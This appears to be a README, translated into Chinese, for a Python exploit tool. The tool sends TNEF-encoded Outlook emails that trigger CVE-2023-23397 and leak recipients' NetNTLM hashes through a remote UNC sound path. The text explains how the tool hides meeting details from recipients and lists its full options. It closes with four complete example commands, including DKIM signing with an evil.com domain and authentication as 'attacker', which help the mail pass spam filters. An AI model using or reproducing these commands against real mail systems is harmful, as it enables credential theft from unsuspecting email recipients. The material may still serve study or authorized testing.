此脚本允许创建 TNEF 编码的 Outlook 电子邮件,其中包含 CVE-2023-23397 漏洞利用载荷,并通过纯 SMTP 发送——无需 COM 对象或 EWS。
我未能让 IPM.Schedule.Meeting.Request 消息类正常工作(它同时生成了会议和提醒,但出于某种原因不遵守 PidLidReminderOverride 属性),因此该脚本滥用了 IPM.TaskRequest 类。这会产生一个恶意的会议提醒弹出窗口,就像原始漏洞利用一样,但收件人无法查看消息正文或会议详情。而在 OWA 中,该电子邮件看起来就像一封没有约会的普通消息。
已在 Outlook365 16130.20218 和 Outlook 2019 10395.20020 上测试。请注意,当通过外部方式发送电子邮件时,TNEF 附件和标头可能无法通过反垃圾邮件过滤器——我仅在局域网内从 Linux 机器直接(或通过 Postfix 中继)发送到 Exchange 时进行了测试。
options:
-h, --help 显示此帮助信息并退出
-s SERVER, --server SERVER
SMTP 邮件中继 (host[:port]),默认: localhost:25
-f SENDER, --from SENDER
发件人电子邮件地址
-t TO, --to TO 收件人电子邮件地址,可以是文件路径或逗号分隔值
-S SUBJECT, --subject SUBJECT
邮件主题
-r ROOM, --room ROOM 会议地点(房间名称),默认: Meeting Room #1
-b BODY, --body BODY 纯文本消息正文(或文件路径)
--html HTML HTML 消息正文(或文件路径)
-p PATH, --path PATH NetNTLM 泄露的远程文件路径,例如 \\10.10.10.10\share\1.wav
-a AUTH, --auth AUTH AUTH 命令的用户名:密码,如果需要进行身份验证发送
--codepage CODEPAGE 用于编码 HTML 正文的 Windows 代码页(例如 1252=ASCII, 65001=Unicode)(如果有),默认: 1252
--ehlo EHLO, --helo EHLO
EHLO 命令参数(发送方外部主机名)
-l LANG, --lang LANG Content-Language 头部值,默认: en-US
--starttls 在纯文本 SMTP 通信中使用 STARTTLS
--max-rcpts MAX_RCPTS
每次发送尝试的最大收件人数
-v 启用调试输出
DKIM 消息签名:
--dkim-selector DKIM_SELECTOR
DKIM 选择器
--dkim-key DKIM_KEY DKIM 私钥文件路径
--dkim-domain DKIM_DOMAIN
DKIM 域名,默认: 发件人地址 @ 后的部分
发送电子邮件,从 [email protected] 到 [email protected]:
python3 cve-2023-23397.py -s localhost:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.'
发送电子邮件给多个收件人,使用机会性 TLS 和来自文件的 HTML 正文:
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected],[email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls
发送带 DKIM 签名(需要 pip install dkimpy)和 EHLO 命令中自定义域名的电子邮件,收件人从文件加载,每封消息三个收件人:
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t ./recipients.txt -S 'Test Meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls --max-rcpts 3 --dkim-key ./dkim.private --dkim-domain evil.com --dkim-selector default --ehlo mail.evil.com
发送带域凭据的电子邮件:
python3 cve-2023-23397.py -s mail.example.com:587 --auth 'EXAMPLE\attacker:12345678' -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --starttls